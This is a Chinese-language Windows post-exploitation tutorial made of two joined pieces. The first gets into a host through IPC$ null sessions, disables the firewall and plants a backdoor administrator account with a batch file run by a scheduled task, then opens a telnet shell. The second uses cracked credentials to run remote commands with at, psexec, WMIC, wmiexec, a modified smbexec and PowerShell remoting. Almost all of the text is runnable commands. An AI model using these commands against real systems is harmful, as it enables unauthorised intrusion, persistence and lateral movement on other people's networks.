開啟服務
net start Schedule
net start wmiApSrv
關閉防火牆
net stop sharedaccess
net use \\目標IP\ipc$ "" /user:"administrator"進行連接
net use \\目標IP\ipc$
試環境:主機(windows XP sp3)與windows XP sp2虛擬機)
通過IPC$與windowsXP建立連接,在現在的絕大多數的XP操作系統中總是會出現問題。以下如何解決在建立IPC$出現的一系列問題。IPC$(Internet process connection),通常很多的機子的默認共享都是打開的!在cmd下使用net share命令是不是發現有很多$,"ipc$ admin$ ,c$ ,d$....."(很危險啊)。
現在進入正題:
1.net use \\目標IP\ipc$
出現53錯誤:找不到網絡路徑,(目標主機打開了系統防火牆或者其他防火牆軟件,解決:關閉目標防火牆)
出現1326錯誤:
1)net use \\目標IP\ipc$ "" /user:"administrator"進行連接,報告系統發生1326錯誤,登陸失敗:未知用戶名或密碼錯誤。檢查一下我們的命令是否錯誤或者用戶名錯誤。結果發現無錯。
2)在遠程機的"控制面板-文件夾選項-查看-簡單的文件共享",去掉選取,然后再嘗試連接。簡單文件共享會
把網絡連接權限都歸為 guest連接,是無法訪問IPC$等管理共享的.結果發現這個錯誤,糾正。
緊接着可能出現1327錯誤:登陸失敗:用戶帳戶限制。可能的原因包括不允許空密碼,登陸時間限制,或強制的策略限。"在遠程機的"控制面板-管理工具-本地安全策略-安全選項-用戶權限"指派里,禁用"空密碼用戶只能進行控制台登陸".
映射對方默認共享c盤:net use z: \\目標IP\c$
在我的電腦中會出現網絡驅動器
建立ipc$告一段落,刪除ipc$連接:net sue \\目標IP\ipc$ /del
在此基礎上在目標電腦上留下后門賬號:
編寫一個批處理文件,並拷貝到對方的電腦上,然后增加計划任務執行批處理文件;
批處理命令:(保存為adduser.bat)
net user nebulastest 123456 /add //增加用戶nebulastest,密碼123456
net localgroup administrators nebulastest /add //為用戶nebulastest賦予管理員權限
然后在本機上執行命令(已經建立IPC$連接):copy adduser.bat \\目標IP\c$
接着查看目標電腦時間:net time \\目標IP
隨后為目標電腦增加計划任務:at \\目標IP 執行時間 c:\adduser.bat
刪除當前IPC$鏈接,使用新用戶和新密碼建立IPC$鏈接,以測試時候建立賬號成功。
net use \\目標IP\ipc$ "123456" /user:"nebulastest"
使用telnet進行登陸:(前提:目標電腦已經開啟telnet服務)
雙擊"telnet服務"-----選擇"自動"-----點擊"啟動"
在命令行輸入:telnet 目標IP
之后彈出遠程登錄對話框,選擇Y,輸入用戶名(后門賬戶,密碼)
輸入密碼不會現在但是回車后會自動驗證是否密碼正確
下圖已經輸入密碼但是不會顯示:
登陸后的界面:
大功告成,獲得目標主機shell
在遠程系統上執行程序的技術整理
三好學生 · 2015/07/24 17:41
0x00 前言
上一篇學習了如何導出域內所有用戶hash,那么,接下來准備用破解出的用戶名口令嘗試遠程登陸目標主機並執行程序,結合實際環境做了如下測試.
0x01 目標
遠程登陸目標主機執行測試程序
0x02 測試環境
遠程主機:
ip:192.168.40.137
用戶名:test
口令:testtest
操作系統:win7 x64
遠程登陸方式:
net use遠程登陸,不使用3389
Tips:
解決工作組環境無法遠程登陸執行程序的方法:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1
0x03 測試方法
1、at&schtasks
計划任務方式執行程序。
條件:
啟動Task Scheduler服務
2、psexec
PsTools工具之一,在指定的一台或多台計算機上運行應用程序
條件:
需要開放ADMIN$共享
3、WMIC
功能強大,可做系統管理、遠程主機信息獲取
條件:
啟動WMI服務,開放135端口
本地安全策略的"網絡訪問: 本地帳戶的共享和安全模式"應設為"經典-本地用戶以自己的身份驗證"
4、wmiexec
使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也能夠使用。
條件:
啟動WMI服務,開放135端口
本地安全策略的"網絡訪問: 本地帳戶的共享和安全模式"應設為"經典-本地用戶以自己的身份驗證"
0x04 實際測試
使用用戶名口令遠程登陸192.168.40.137,如圖1
查看目標主機共享資源,如圖1-2
1、at&schtasks
at \\192.168.40.137
找不到網絡路徑,判斷是目標主機已禁用Task Scheduler服務
如圖2
2、psexec
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
找不到網絡名,判斷目標主機已禁用ADMIN$共享
如圖3
3、WMIC
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用
如圖4
4、wmiexec
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用
如圖5
0x05 分析
整理下目前掌握的目標主機信息:
目標主機:
1、已獲得登陸用戶名及口令
2、可以net use連接
3、開放共享C
但是:
1、默認admin$共享關閉,無法使用psexec
2、Task scheduler關閉,無法使用at、schtasks
3、Windows Management Instrumentation服務關閉,關閉135端口無法使用wmic、wmiexec
4、不支持3389
那么,如何在目標主機遠程執行程序?
猜測管理員應該是對常用的遠程執行程序的方法做了限制,就在一籌莫展的時候突然想到了smbexec,它是基於psexec,如果目標主機開放了其他默認共享,倒是可以嘗試smbexec
於是搜索smbexec,終於在GitHub上面找到了一個smbexec的c++參考資料,作為工具改進模版
模版下載地址:
https://github.com/sunorr/smbexec
0x06 改進方案
模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也做了一些改進:
1、可指定默認共享名
為了完成上述測試,加入了參數來指定默認共享,如果ADMIN$共享關閉,那么可以嘗試其他磁盤的默認共享
2、分離安裝服務的功能
在實際測試過程中,如果ADMIN$共享關閉,c$共享開啟,因為UAC的緣故,注冊安裝服務的功能會出現bug,采取的解決辦法為將實現注冊安裝服務功能的exe單獨上傳至c:\windows下, 即可解決權限不夠的問題
0x07 方案測試
1、工具說明
文件說明:
test.exe:主程序
execserver.exe:實現注冊安裝服務的輔助程序
參數說明:
test.exe ip user password command netshare
eg:
test.exe 192.168.40.137 test testtest whoami c$
2、使用流程
(1)上傳execserver.exe至c:\windows
copy execserver.exe \\192.168.40.137\c$\windows
(2)遠程執行
test.exe 192.168.40.137 test testtest whoami c$
如圖6
最終我們通過改造的smbexec,突破目標主機限制,成功遠程執行程序。
程序源碼下載鏈接:
0x08 補充
1、powershell remoting
實現在目標主機遠程執行程序后,可對目標主機開放powershell remoting,用作遠程連接
條件:
遠程連接會有痕跡
本機要開啟winRM服務
命令匯總:
列出所有遠程信任主機
powershell Get-Item WSMan:\localhost\Client\TrustedHosts
設置信任所有主機
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
設置允許運行ps1文件
powershell Set-ExecutionPolicy Unrestricted
執行test.ps1文件
powershell -ExecutionPolicy Bypass -File test.ps1
ps1文件如下:
$UserName = "test"
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
2、python smbexec
隨后用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。
0x09 小結
這篇文章共列舉了六種遠程執行程序的方法,如果已經成功登陸目標主機,卻無法執行程序,最心塞的事情莫過於此。
at
psexec
WMIC
wmiexec
smbexec
powershell remoting
...
獲得用戶名口令,實現遠程執行程序僅僅是個開始,內網滲透會很有趣。
水平有限,歡迎補充。